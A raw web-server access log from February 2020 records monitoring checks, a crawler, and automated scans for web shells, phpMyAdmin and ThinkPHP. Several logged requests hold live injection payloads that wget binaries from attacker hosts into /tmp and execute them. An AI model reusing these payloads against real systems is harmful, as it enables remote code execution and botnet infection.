59.7.155.141 - - [24/Feb/2020:11:40:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:11:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.207.226.105 - - [24/Feb/2020:11:43:07 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [24/Feb/2020:11:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.207.226.105 - - [24/Feb/2020:11:43:40 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
123.207.226.105 - - [24/Feb/2020:11:44:03 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
95.8.87.112 - - [24/Feb/2020:11:44:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:11:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.207.226.105 - - [24/Feb/2020:11:44:31 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:31 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:31 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:32 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:32 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:32 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:32 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:32 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:33 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:34 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:35 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:35 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:35 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:36 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:36 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:36 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:37 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:38 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:39 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:39 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:39 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:39 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:40 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:40 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:40 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:40 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:43 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:43 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:43 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:43 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:44 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:44 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:44 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:44 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:45 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:45 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:47 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:47 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:47 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:47 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:48 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:48 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:48 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:48 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:49 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:51 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:51 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:51 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:51 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:52 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:52 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:52 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:52 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:52 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:53 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:53 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:55 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:55 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:56 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:59 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:59 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:59 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:44:59 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:03 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:03 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:03 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:04 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:06 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:07 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:07 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:08 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:08 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:08 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:08 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:08 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:09 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:11 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:11 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:12 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:12 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:12 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:12 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:13 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:13 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:15 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:15 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:15 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:15 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:16 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:16 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:16 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:16 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:16 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:17 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:17 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:17 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:18 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:18 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:18 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:45:18 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
212.91.246.72 - - [24/Feb/2020:11:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:11:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.207.226.105 - - [24/Feb/2020:11:46:35 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:46:35 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:46:39 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:46:39 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:46:43 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:46:43 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
123.207.226.105 - - [24/Feb/2020:11:46:43 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
123.207.226.105 - - [24/Feb/2020:11:47:15 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [24/Feb/2020:11:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.207.226.105 - - [24/Feb/2020:11:47:43 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
123.207.226.105 - - [24/Feb/2020:11:48:07 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [24/Feb/2020:11:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.207.226.105 - - [24/Feb/2020:11:48:43 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
123.207.226.105 - - [24/Feb/2020:11:48:43 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
123.207.226.105 - - [24/Feb/2020:11:48:45 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
123.207.226.105 - - [24/Feb/2020:11:48:47 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
123.207.226.105 - - [24/Feb/2020:11:48:47 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
123.207.226.105 - - [24/Feb/2020:11:49:11 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [24/Feb/2020:11:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.207.226.105 - - [24/Feb/2020:11:49:39 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
123.207.226.105 - - [24/Feb/2020:11:50:03 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
122.170.14.210 - - [24/Feb/2020:11:50:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.216.96.170 - - [24/Feb/2020:11:50:21 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.170 - - [24/Feb/2020:11:50:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
